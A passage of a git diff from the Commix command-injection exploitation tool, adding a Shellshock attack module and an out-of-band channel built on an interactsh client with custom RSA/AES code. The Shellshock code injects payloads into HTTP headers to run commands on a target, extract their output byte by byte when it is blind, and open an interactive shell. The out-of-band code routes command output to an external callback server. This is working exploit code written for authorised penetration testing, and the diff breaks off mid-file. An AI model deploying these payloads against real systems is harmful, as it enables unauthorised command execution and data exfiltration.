checks.run_enumeration(_command_executor(url, cve, check_header, filename), filename, url) + +""" +File Access Options +""" +def file_access(url, cve, check_header, filename): + checks.run_file_access(_command_executor(url, cve, check_header, filename), filename) + +""" +Registry Access Options +""" +def registry_access(url, cve, check_header, filename): + checks.run_registry_access(_command_executor(url, cve, check_header, filename), filename) + +""" +Enumeration, file access, registry access, --os-cmd, --os-shell - shared by fresh detection and resume. +""" +def _post_exploitation(url, cve, check_header, filename, technique, no_result): + if settings.ENUMERATION_DONE: + checks.ask_redo_stored_session("enumerate", lambda: enumeration(url, cve, check_header, filename)) + else: + enumeration(url, cve, check_header, filename) + + if settings.FILE_ACCESS_DONE is True: + checks.ask_redo_stored_session("access files", lambda: file_access(url, cve, check_header, filename)) + else: + file_access(url, cve, check_header, filename) + + if settings.REGISTRY_ACCESS_DONE is True: + checks.ask_redo_stored_session("access the registry", lambda: registry_access(url, cve, check_header, filename)) + else: + registry_access(url, cve, check_header, filename) + + if menu.options.os_cmd: + checks.run_single_os_cmd(_command_executor(url, cve, check_header, filename), filename) + + # Opens later, at quit(), same as the main flow. + execute_cmd = _command_executor(url, cve, check_header, filename, log_execution=True) + # The module has its own executor and never reaches pseudo_terminal_shell(), so it registers here. + from src.core.controller import proof + proof.register(technique, check_header, settings.HTTPMETHOD.GET, execute_cmd) + handler.pseudo_terminal_shell_generic(url, filename, technique, no_result, execute_cmd, on_found_declined=lambda: None) + +""" +The main shellshock handler +""" +def shellshock_handler(url, http_request_method, filename): + + counter = 1 + no_result = True + + injection_type = "results-based command injection" + # Not an injection technique like the others - it's the 'shellshock' module. + technique = settings.SHELLSHOCK_TECHNIQUE + + try: + # Resume everything at once and quit, like the core engine's LOAD_SESSION path. + stored = [row for row in session_handler.get_all_stored_shellshock(url, http_request_method) if _header_testable(row[0])] + if stored: + rows = [(technique, injection_type, check_header, stored_payload, "HTTP Header") for check_header, stored_payload in stored] + checks.resumed_injection_points_summary(rows) + + # Still applies on resume, same as fresh detection. + first_header, _ = stored[0] + _post_exploitation(url, shellshock_cves[0], first_header, filename, technique, no_result=False) + + checks.suggest_os_shell() + settings.INJECTION_CHECKER = True + settings.SHOW_LOGS_MSG = True + checks.quit(filename, url, hard_exit=False) + + i = 0 + asked_keep_testing = False + total = len(shellshock_cves) * len(settings.SHELLSHOCK_HTTP_HEADERS) + for check_header in settings.SHELLSHOCK_HTTP_HEADERS: + if not _header_testable(check_header): + continue + + found_this_header = False + # The one that answered, kept as the loop moves on: what follows has to be sent the same way + # the finding was made, and the loop variable holds whichever was tried last. + working_cve = None + + for cve in shellshock_cves: + # Check injection state + settings.DETECTION_PHASE = True + settings.EXPLOITATION_PHASE = False + i = i + 1 + attack_vector = "echo" + settings.SINGLE_WHITESPACE + cve + ":Done;" + payload = shellshock_payloads(cve, attack_vector) + + # Check if defined "--verbose" option. + if settings.VERBOSITY_LEVEL != 0: + settings.print_data_to_stdout(settings.print_payload(payload)) + response = _send_header_payload(url, check_header, payload) + + if type(response) is bool: + response_info = "" + else: + response_info = response.info() + + # The CVE's own marker, injected into the payload, lands back as a raw response header. + found = len(response_info) > 0 and cve in response_info + if found: + no_result = False + done = found or (no_result and i >= total) + checks.injection_process(injection_type, technique, done=done, i=i, total=total) + + if found and not found_this_header: + found_this_header = True + working_cve = cve + # Check injection state + settings.DETECTION_PHASE = False + settings.EXPLOITATION_PHASE = True + vuln_parameter = check_header + the_type = settings.SINGLE_WHITESPACE + "HTTP Header" + header_name = settings.SINGLE_WHITESPACE + check_header + settings.CHECKING_PARAMETER = check_header + settings.SINGLE_WHITESPACE + "HTTP Header" + checks.announce_vulnerable_finding(filename, injection_type, technique, the_type, header_name, http_request_method, vuln_parameter, payload, counter, decode_payload=False) + + # Persist for future resume. + settings.HTTP_HEADER = check_header + session_handler.import_injection_points(url, technique, injection_type, filename, "", True, vuln_parameter, "", "", "", False, payload, http_request_method, 0, 0, 0, 0, settings.INJECTION_LEVEL) + + if found_this_header: + # Confirmed, but the target may hand nothing back. Where it does not, the page still says + # whether the script ran at all, which is answer enough to read the output a byte at a time. + # Asked with a tag made fresh for the run, so a page that merely repeats what it was given + # is not mistaken for one that handed back what the command printed. + probe_tag = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) + if not settings.SHELLSHOCK_OOB and probe_tag not in (cmd_exec(url, "echo " + probe_tag, working_cve, check_header, filename) or ""): + if _boolean_usable(url, working_cve, check_header): + settings.SHELLSHOCK_BOOLEAN = True + info_msg = "The target returns nothing, so the output is read off the page it serves when the script does not run." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + _post_exploitation(url, working_cve, check_header, filename, technique, no_result) + + # Asked once for the whole run, not once per header. + if not asked_keep_testing: + asked_keep_testing = True + if checks.prompt_keep_testing(url): + break + + # Nothing echoed back, so try the out-of-band channel - a blind sink reflects no marker. + if no_result and menu.options.oob: + testable = [_ for _ in settings.SHELLSHOCK_HTTP_HEADERS if _header_testable(_)] + check_header, cve, payload = _oob_probe(url, testable) + if check_header: + no_result = False + settings.DETECTION_PHASE = False + settings.EXPLOITATION_PHASE = True + vuln_parameter = check_header + settings.CHECKING_PARAMETER = check_header + settings.SINGLE_WHITESPACE + "HTTP Header" + settings.HTTP_HEADER = check_header + checks.announce_vulnerable_finding(filename, settings.INJECTION_TYPE.BLIND, technique, settings.SINGLE_WHITESPACE + "HTTP Header", settings.SINGLE_WHITESPACE + check_header, http_request_method, vuln_parameter, payload, counter, decode_payload=False) + session_handler.import_injection_points(url, technique, settings.INJECTION_TYPE.BLIND, filename, "", True, vuln_parameter, "", "", "", False, payload, http_request_method, 0, 0, 0, 0, settings.INJECTION_LEVEL) + _post_exploitation(url, cve, check_header, filename, technique, no_result) + + if settings.CONFIRMED_INJECTION_POINTS: + checks.quit(filename, url, hard_exit=False) + elif no_result is True: + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + err_msg = "All tested HTTP headers appear to be not injectable." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + except _urllib.error.HTTPError as err_msg: + # 500/400 during header/CVE probing just means this combination failed - not fatal. + if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: + response = False + else: + requests.request_failed(err_msg) + + except (_urllib.error.URLError, _http_client.IncompleteRead) as err_msg: + requests.request_failed(err_msg) + +""" +Per-binary cache of the path prefix that resolved it last time, so a repeated command skips straight to its known-working prefix instead of re-probing the bare/'/bin/'/'/usr/bin/' cascade. +""" +RESOLVED_CMD_PREFIX = {} + +""" +Execute user commands +""" +""" +Ask one yes/no question over the module's own injection point. + +A false answer leaves the shell before the script it was started for ever runs, so the answer is the +difference between the page the target normally serves and the one it serves when there is none. +""" +def _boolean_page(url, cve, check_header, vector): + """ + The page a question comes back with, error statuses included. + + A false answer here leaves the shell before the script runs, so the server answers 500 and the + client raises rather than returning - which is the answer itself, not a failure to get one. + """ + from src.core.controller import checks as _checks + try: + response = _send_header_payload(url, check_header, shellshock_payloads(cve, vector)) + except _urllib.error.HTTPError as err_msg: + response = err_msg + except Exception: + return None, None + if response is None or isinstance(response, bool): + return None, None + try: + return _checks.process_page_content(response, action="decode"), response.getcode() + except Exception: + return None, None + +def _boolean_ask(url, cve, check_header, payload): + from src.core.controller import checks as _checks + # The module's own wrapper already ends in a separator, so the payload must not open with one. + vector = payload.strip(settings.END_LINE.LF).strip(";") + " || exit" + page, code = _boolean_page(url, cve, check_header, vector) + if page is None: + return None + return _checks.boolean_oracle(page, code) + +""" +Learn what a yes and a no look like here, from two questions whose answers are known. +""" +def _boolean_usable(url, cve, check_header): + from src.core.controller import checks as _checks + from src.core.techniques.boolean_based import bb_payloads as payloads + # This module reads its answer off a bash that never started, so the question is asked bare - a + # payload that printed a marker would be printing it from the shell this one aborts. + settings.BOOLEAN_PRINTED_STATE = False + TAG = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) + + def page_for(holds): + vector = payloads.decision(";", TAG, len(TAG), holds=holds).strip(";") + " || exit" + return _boolean_page(url, cve, check_header, vector)[0] + + return _checks.calibrate_boolean_oracle(page_for(True), page_for(False)) + +""" +Read a command's output a byte at a time, over the module's injection point. +""" +def _boolean_cmd_exec(url, cmd, cve, check_header): + from src.core.techniques.boolean_based import bb_handler as bb + + settings.BOOLEAN_PRINTED_STATE = False + + class _Channel(bb.Channel): + def __init__(self): + bb.Channel.__init__(self, ";", "", "", "", settings.HTTPMETHOD.GET, url, check_header) + + def ask(self, payload): + return _boolean_ask(url, cve, check_header, payload) + + return bb.retrieve(_Channel(), cmd) + +def cmd_exec(url, cmd, cve, check_header, filename): + + if settings.SHELLSHOCK_OOB: + return _oob_cmd_exec(url, cmd, cve, check_header) + + if settings.SHELLSHOCK_BOOLEAN: + return _boolean_cmd_exec(url, cmd, cve, check_header) + + """ + Check for shellshock 'shell' + """ + def check_for_shell(url, cmd, cve, check_header, filename): + try: + TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) + cmd = "echo " + TAG + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + TAG + payload = shellshock_exploitation(cve, cmd) + debug_msg = "Executing the '" + cmd + "' command. " + if settings.VERBOSITY_LEVEL != 0: + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_payload(payload)) + + response = _send_header_payload(url, check_header, payload) + shell = checks.process_page_content(response, action="decode").rstrip().replace(settings.END_LINE.LF,' ') + shell = re.findall(r"" + TAG + "(.*)" + TAG, shell) + return ''.join(shell) + + except _urllib.error.URLError as err_msg: + requests.request_failed(err_msg) + + cmd_name = cmd.split(settings.SINGLE_WHITESPACE)[0] + prefixes = ["", "/bin/", "/usr/bin/"] + cached_prefix = RESOLVED_CMD_PREFIX.get(cmd_name) + if cached_prefix in prefixes: + prefixes.remove(cached_prefix) + prefixes.insert(0, cached_prefix) + + for prefix in prefixes: + shell = check_for_shell(url, prefix + cmd, cve, check_header, filename) + if shell: + RESOLVED_CMD_PREFIX[cmd_name] = prefix + return shell + + return shell + +# eof diff --git a/src/core/injections/__init__.py b/src/core/oob/__init__.py similarity index 86% rename from src/core/injections/__init__.py rename to src/core/oob/__init__.py index b50e6972c9..7cd55728d8 100644 --- a/src/core/injections/__init__.py +++ b/src/core/oob/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -13,4 +13,4 @@ For more see the file 'readme/COPYING' for copying permission. """ -pass \ No newline at end of file +# eof diff --git a/src/core/oob/crypto.py b/src/core/oob/crypto.py new file mode 100644 index 0000000000..212470ecd0 --- /dev/null +++ b/src/core/oob/crypto.py @@ -0,0 +1,281 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import base64 +import hashlib +import random +import struct + +# Key material must not come from the Mersenne Twister. +_rand = random.SystemRandom() + +""" +Minimal RSA-OAEP and AES-CTR support, keeping out-of-band providers dependency-free. +""" + +SBOX = [ + 0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76, + 0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0, + 0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15, + 0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75, + 0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84, + 0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf, + 0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8, + 0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2, + 0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73, + 0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb, + 0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79, + 0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08, + 0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a, + 0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e, + 0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf, + 0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16 +] + +RCON = [0x01,0x02,0x04,0x08,0x10,0x20,0x40,0x80,0x1b,0x36,0x6c,0xd8,0xab,0x4d] + +SMALL_PRIMES = [2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73,79,83,89,97, + 101,103,107,109,113,127,131,137,139,149,151,157,163,167,173,179,181,191, + 193,197,199,211,223,227,229,233,239,241,251] + +""" +Multiply two bytes in GF(2^8). +""" +def _gmul(a, b): + result = 0 + for _ in range(8): + if b & 1: + result ^= a + high = a & 0x80 + a = (a << 1) & 0xff + if high: + a ^= 0x1b + b >>= 1 + return result + +""" +Expand an AES-256 key into the per-round key schedule. +""" +def _expand_key(key): + nk, nr = 8, 14 + words = [list(key[i * 4:i * 4 + 4]) for i in range(nk)] + for i in range(nk, 4 * (nr + 1)): + temp = list(words[i - 1]) + if i % nk == 0: + temp = temp[1:] + temp[:1] + temp = [SBOX[b] for b in temp] + temp[0] ^= RCON[i // nk - 1] + elif i % nk == 4: + temp = [SBOX[b] for b in temp] + words.append([words[i - nk][j] ^ temp[j] for j in range(4)]) + return words + +""" +Encrypt a single 16-byte block with AES-256. +""" +def _encrypt_block(block, words): + state = [list(block[i::4]) for i in range(4)] + # Mix the round key into the state, one column at a time. + def add_round_key(rnd): + for c in range(4): + for r in range(4): + state[r][c] ^= words[rnd * 4 + c][r] + add_round_key(0) + for rnd in range(1, 15): + for r in range(4): + for c in range(4): + state[r][c] = SBOX[state[r][c]] + for r in range(1, 4): + state[r] = state[r][r:] + state[r][:r] + if rnd != 14: + for c in range(4): + col = [state[r][c] for r in range(4)] + state[0][c] = _gmul(col[0], 2) ^ _gmul(col[1], 3) ^ col[2] ^ col[3] + state[1][c] = col[0] ^ _gmul(col[1], 2) ^ _gmul(col[2], 3) ^ col[3] + state[2][c] = col[0] ^ col[1] ^ _gmul(col[2], 2) ^ _gmul(col[3], 3) + state[3][c] = _gmul(col[0], 3) ^ col[1] ^ col[2] ^ _gmul(col[3], 2) + add_round_key(rnd) + return bytes(bytearray([state[r][c] for c in range(4) for r in range(4)])) + +""" +Decrypt an AES-256-CTR blob whose first 16 bytes are the initial counter. +""" +def aes_ctr_decrypt(key, blob): + if len(blob) <= 16: + return b"" + words = _expand_key(key) + counter = int(_to_long_bytes(blob[:16]), 16) + data = blob[16:] + out = bytearray() + for offset in range(0, len(data), 16): + block = struct.pack(">QQ", (counter >> 64) & 0xffffffffffffffff, counter & 0xffffffffffffffff) + stream = _encrypt_block(bytearray(block), words) + chunk = data[offset:offset + 16] + out.extend(bytearray([chunk[i] ^ bytearray(stream)[i] for i in range(len(chunk))])) + counter = (counter + 1) & ((1 << 128) - 1) + return bytes(out) + +""" +Render bytes as a hex string, readable back as an integer. +""" +def _to_long_bytes(raw): + return "".join("%02x" % b for b in bytearray(raw)) or "0" + +""" +The MGF1 mask generation function used by OAEP. +""" +def _mgf1(seed, length): + out = b"" + counter = 0 + while len(out) < length: + out += hashlib.sha256(seed + struct.pack(">I", counter)).digest() + counter += 1 + return out[:length] + +""" +Test a candidate for primality using Miller-Rabin. +""" +def _is_probable_prime(n, rounds=24): + if n < 2: + return False + for p in SMALL_PRIMES: + if n % p == 0: + return n == p + d, s = n - 1, 0 + while d % 2 == 0: + d //= 2 + s += 1 + for _ in range(rounds): + a = _rand.randrange(2, n - 1) + x = pow(a, d, n) + if x == 1 or x == n - 1: + continue + for _ in range(s - 1): + x = (x * x) % n + if x == n - 1: + break + else: + return False + return True + +""" +Generate a random prime of the requested bit length. +""" +def _generate_prime(bits): + while True: + candidate = _rand.getrandbits(bits) | (1 << (bits - 1)) | 1 + if _is_probable_prime(candidate): + return candidate + +""" +Compute the modular inverse of a modulo m. +""" +def _modinv(a, m): + old_r, r = a, m + old_s, s = 1, 0 + while r: + q = old_r // r + old_r, r = r, old_r - q * r + old_s, s = s, old_s - q * s + return old_s % m + +""" +Generate an RSA key pair, returned as (n, e, d). +""" +def generate_rsa_key(bits=2048): + e = 65537 + while True: + p = _generate_prime(bits // 2) + q = _generate_prime(bits // 2) + if p == q: + continue + phi = (p - 1) * (q - 1) + if phi % e == 0: + continue + n = p * q + if n.bit_length() != bits: + continue + return n, e, _modinv(e, phi) + +""" +Encode a DER length prefix. +""" +def _der_len(length): + if length < 0x80: + return bytes(bytearray([length])) + encoded = bytearray() + while length: + encoded.insert(0, length & 0xff) + length >>= 8 + return bytes(bytearray([0x80 | len(encoded)])) + bytes(encoded) + +""" +Encode a DER value of the given tag. +""" +def _der(tag, payload): + return bytes(bytearray([tag])) + _der_len(len(payload)) + payload + +""" +Encode a non-negative integer as a DER INTEGER. +""" +def _der_int(value): + raw = bytearray() + while value: + raw.insert(0, value & 0xff) + value >>= 8 + if not raw or raw[0] & 0x80: + raw.insert(0, 0) + return _der(0x02, bytes(raw)) + +""" +Render an RSA public key as the base64 of its PEM-wrapped PKIX encoding. +""" +def public_key_pem_b64(n, e): + rsa_oid = _der(0x06, bytes(bytearray([0x2a,0x86,0x48,0x86,0xf7,0x0d,0x01,0x01,0x01]))) + algorithm = _der(0x30, rsa_oid + _der(0x05, b"")) + key = _der(0x30, _der_int(n) + _der_int(e)) + spki = _der(0x30, algorithm + _der(0x03, bytes(bytearray([0x00])) + key)) + body = base64.b64encode(spki).decode() + lines = [body[i:i + 64] for i in range(0, len(body), 64)] + pem = "-----BEGIN RSA PUBLIC KEY-----\n" + "\n".join(lines) + "\n-----END RSA PUBLIC KEY-----\n" + return base64.b64encode(pem.encode()).decode() + +""" +Decrypt an RSA-OAEP (SHA-256) ciphertext with the private exponent. +""" +def rsa_oaep_decrypt(ciphertext, n, d): + k = (n.bit_length() + 7) // 8 + if len(ciphertext) != k: + raise ValueError("unexpected RSA block size") + m = pow(int(_to_long_bytes(ciphertext), 16), d, n) + encoded = bytearray(k) + for i in range(k - 1, -1, -1): + encoded[i] = m & 0xff + m >>= 8 + h_len = 32 + masked_seed = bytes(encoded[1:1 + h_len]) + masked_db = bytes(encoded[1 + h_len:]) + seed_mask = _mgf1(masked_db, h_len) + seed = bytes(bytearray([masked_seed[i] ^ bytearray(seed_mask)[i] for i in range(h_len)])) + db_mask = _mgf1(seed, k - h_len - 1) + db = bytearray([bytearray(masked_db)[i] ^ bytearray(db_mask)[i] for i in range(len(masked_db))]) + separator = h_len + while separator < len(db) and db[separator] == 0: + separator += 1 + if separator >= len(db) or db[separator] != 1: + raise ValueError("malformed OAEP padding") + return bytes(db[separator + 1:]) + +# eof diff --git a/src/core/oob/interactsh.py b/src/core/oob/interactsh.py new file mode 100644 index 0000000000..db8629b0fe --- /dev/null +++ b/src/core/oob/interactsh.py @@ -0,0 +1,175 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import base64 +import json +import string +import uuid + +from src.utils import settings +from src.core.oob import crypto +from src.core.oob.provider import Interaction, OOBProvider, tls_context, _rand +from src.thirdparty.six.moves import urllib as _urllib + +""" +An interactsh client, speaking the register / poll / deregister protocol. +""" + +class Interactsh(OOBProvider): + name = settings.OOB_PROVIDER_INTERACTSH + + # A session with an interactsh server, keyed to the address it was opened against. + def __init__(self): + OOBProvider.__init__(self) + # A self-hosted server is not a pool to fall back out of - it is the one the run was told to + # use, and the only one it is asked to use. + self._self_hosted = bool(settings.OOB_SERVER) + self._servers = [settings.OOB_SERVER] if self._self_hosted else ( + [settings.OOB_INTERACTSH_DOMAIN] + list(settings.OOB_INTERACTSH_FALLBACK_DOMAINS)) + self.token = settings.OOB_TOKEN + self.correlation_id = "".join(_rand.choice(string.ascii_lowercase + string.digits) for _ in range(20)) + self.secret = str(uuid.uuid4()) + self._aes_key = None + self._n = self._e = self._d = None + self._apply_server(self._servers[0]) + + """ + Point the client at one server from the pool - its own address, scheme and port, same as a + self-hosted one carries. + """ + def _apply_server(self, server): + self.server = server + if "://" not in self.server: + self.server = "https://" + self.server + self.server = self.server.rstrip("/") + # A self-hosted server serves its own payloads, on the scheme it is reached on. + parsed = _urllib.parse.urlparse(self.server) + self.domain = (parsed.hostname or "").lower() + self.scheme = (parsed.scheme or "https").lower() + # A self-hosted server may listen anywhere, and the payload's URL has to say where. + self.port = parsed.port + + """ + Issue a request against the interactsh server. + """ + def _call(self, path, payload=None): + url = self.server + path + data = json.dumps(payload).encode(settings.DEFAULT_CODEC) if payload is not None else None + request = _urllib.request.Request(url, data, method="POST" if data else "GET") + request.add_header(settings.CONTENT_TYPE, "application/json") + if self.token: + request.add_header(settings.AUTHORIZATION, self.token) + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT, context=tls_context()) + body = response.read().decode(settings.DEFAULT_CODEC, errors="replace") + return json.loads(body) if body.strip() else {} + + """ + Generate a key pair and register it with the server - the first of the pool to answer, where + none was named, since the default pool rotates and retires on its own. + """ + def _register(self): + self._n, self._e, self._d = crypto.generate_rsa_key() + last_err = None + for server in self._servers: + self._apply_server(server) + if settings.VERBOSITY_LEVEL >= 1: + debug_msg = "Checking the out-of-band server '" + self.domain + "'." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + try: + self._call("/register", { + "public-key": crypto.public_key_pem_b64(self._n, self._e), + "secret-key": self.secret, + "correlation-id": self.correlation_id + }) + return + except Exception as err: + last_err = err + if settings.VERBOSITY_LEVEL >= 1: + debug_msg = "'" + self.domain + "' did not answer (" + str(err) + ")." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + if self._self_hosted: + break + raise last_err + + """ + Release the registration. + """ + def _deregister(self): + self._call("/deregister", {"correlation-id": self.correlation_id, "secret-key": self.secret}) + + """ + Poll for new interactions and decrypt them. + """ + def _fetch(self): + result = self._call("/poll?id=" + self.correlation_id + "&secret=" + self.secret) + entries = result.get("data") or [] + if not entries: + return [] + if self._aes_key is None: + aes_key = result.get("aes_key") + if not aes_key: + return [] + self._aes_key = crypto.rsa_oaep_decrypt(base64.b64decode(aes_key), self._n, self._d) + found = [] + for entry in entries: + try: + plaintext = crypto.aes_ctr_decrypt(self._aes_key, base64.b64decode(entry)) + record = json.loads(plaintext.decode(settings.DEFAULT_CODEC, errors="replace")) + except Exception: + continue + found.append(Interaction( + protocol=(record.get("protocol") or "").lower(), + identifier=record.get("full-id") or record.get("unique-id") or "", + raw_request=record.get("raw-request") or "" + )) + return found + + """ + Name the server the channel runs on. + """ + def server_notice(self): + notice = "Using out-of-band '" + self.domain + "' interactsh server." + if not settings.OOB_SERVER: + notice += " Use '--oob-server' for a self-hosted one." + return notice + + """ + Build the hostname carrying a probe token. + """ + def _hostname(self, token): + return self.correlation_id + token + "." + self.domain + + """ + Recover the probe token from an interaction identifier. + """ + def _token_of(self, interaction): + for label in (interaction.identifier or "").lower().split("."): + # A name carrying data has labels of its own in front, so the one holding the correlation id + # is looked for among them all rather than at the start. + if label.startswith(self.correlation_id): + return label[len(self.correlation_id):] + return None + + """ + The labels a name carried in front of the token, in the order they were asked for. + """ + def data_of(self, interaction): + labels = (interaction.identifier or "").lower().split(".") + for index, label in enumerate(labels): + if label.startswith(self.correlation_id): + return labels[:index] + return [] + +# eof diff --git a/src/core/oob/provider.py b/src/core/oob/provider.py new file mode 100644 index 0000000000..a5a556ec43 --- /dev/null +++ b/src/core/oob/provider.py @@ -0,0 +1,200 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import random +import ssl +import string +import threading +import time + +from src.utils import settings + +# A guessable probe token would let anyone else's traffic pass for a finding. +_rand = random.SystemRandom() + +""" +Build the TLS context used to reach the out-of-band server. +""" +def tls_context(): + return settings.verified_context() + +""" +Explain a TLS failure against the out-of-band server. +""" +def tls_error(err): + if not isinstance(getattr(err, "reason", None), ssl.SSLError) and not isinstance(err, ssl.SSLError): + return None + err_msg = "Could not verify the out-of-band server's certificate. This channel carries command " + err_msg += "output, so it is always verified. Install a CA bundle, or reach a self-hosted server " + err_msg += "over plain HTTP (i.e. '--oob-server=http://...')." + return err_msg + +""" +The out-of-band (OAST) provider interface shared by every backend. +""" + +class Interaction(object): + # One interaction the out-of-band server saw. + def __init__(self, protocol, identifier, raw_request): + self.protocol = protocol + self.identifier = identifier + self.raw_request = raw_request + +class OOBProvider(object): + name = "" + + # A session with an out-of-band server, before it has been registered. + def __init__(self): + self.domain = "" + self.scheme = "https" + self._interactions = {} + self.seen_any = False + self._lock = threading.Lock() + self._stop_event = threading.Event() + self._wake = threading.Event() + self._poller = None + + """ + Register with the backend and begin polling. + """ + def start(self): + self._register() + self._poller = threading.Thread(target=self._poll_loop) + self._poller.daemon = True + self._poller.start() + + """ + Return a (token, hostname) pair unique to a single probe. + """ + def new_payload(self): + token = "".join(_rand.choice(string.ascii_lowercase + string.digits) for _ in range(13)) + return token, self._hostname(token) + + """ + Block until an interaction carrying the token arrives, or the timeout expires. + A protocol keeps waiting for that kind - name resolution always lands before the request itself. + """ + def wait_for(self, token, timeout, protocol=None): + deadline = time.time() + timeout + next_poll = 0 + while True: + # Ask the server now rather than sitting out the rest of the poll interval, which would + # otherwise spend much of the timeout doing nothing - and keep asking, since the interaction + # usually lands a moment after the round trip that went looking for it. + if time.time() >= next_poll: + self._wake.set() + next_poll = time.time() + settings.OOB_WAIT_POLL_INTERVAL + with self._lock: + hits = list(self._interactions.get(token, [])) + if protocol: + hits = [_ for _ in hits if _.protocol == protocol] + if hits or time.time() >= deadline: + return hits + time.sleep(0.5) + + """ + Ask the server for interactions now, without waiting for the rest of the poll interval. + """ + def poll_now(self): + self._wake.set() + + """ + Report whether any interaction carrying the token has been seen. + """ + def seen(self, token, protocol=None): + with self._lock: + hits = list(self._interactions.get(token, [])) + return [_ for _ in hits if _.protocol == protocol] if protocol else hits + + """ + Stop polling and release the backend registration. + """ + def stop(self): + self._stop_event.set() + # Also break the poll wait, so shutdown does not sit out the interval. + self._wake.set() + if self._poller: + self._poller.join(timeout=2) + try: + self._deregister() + except Exception: + pass + + """ + Record an interaction against the token embedded in its identifier. + """ + def _record(self, interaction): + token = self._token_of(interaction) + if not token: + return + with self._lock: + self.seen_any = True + self._interactions.setdefault(token, []).append(interaction) + + """ + Poll the backend until stopped. + """ + def _poll_loop(self): + while not self._stop_event.is_set(): + try: + for interaction in self._fetch(): + self._record(interaction) + except Exception as err: + if settings.VERBOSITY_LEVEL >= 2: + debug_msg = "Failed to poll the out-of-band server (" + str(err) + ")." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + self._wake.wait(settings.OOB_POLL_INTERVAL) + self._wake.clear() + + """ + Name the server the channel runs on. + """ + def server_notice(self): + return None + + # Claim a hostname from the server, which the payloads will make the target reach. + def _register(self): + raise NotImplementedError + + # Give the hostname back, where the server wants to know it is finished with. + def _deregister(self): + pass + + # Ask the server what has reached it since last time. + def _fetch(self): + raise NotImplementedError + + # The hostname a payload should reach, for this one probe. + def _hostname(self, token): + raise NotImplementedError + + # Which probe an interaction belongs to. + def _token_of(self, interaction): + raise NotImplementedError + + """ + The labels an interaction's name carried in front of the token. + """ + def data_of(self, interaction): + return [] + +""" +Build the out-of-band provider. +""" +def build(): + from src.core.oob import interactsh + return interactsh.Interactsh() + +# eof diff --git a/src/core/options.py b/src/core/options.py new file mode 100644 index 0000000000..a7854b9384 --- /dev/null +++ 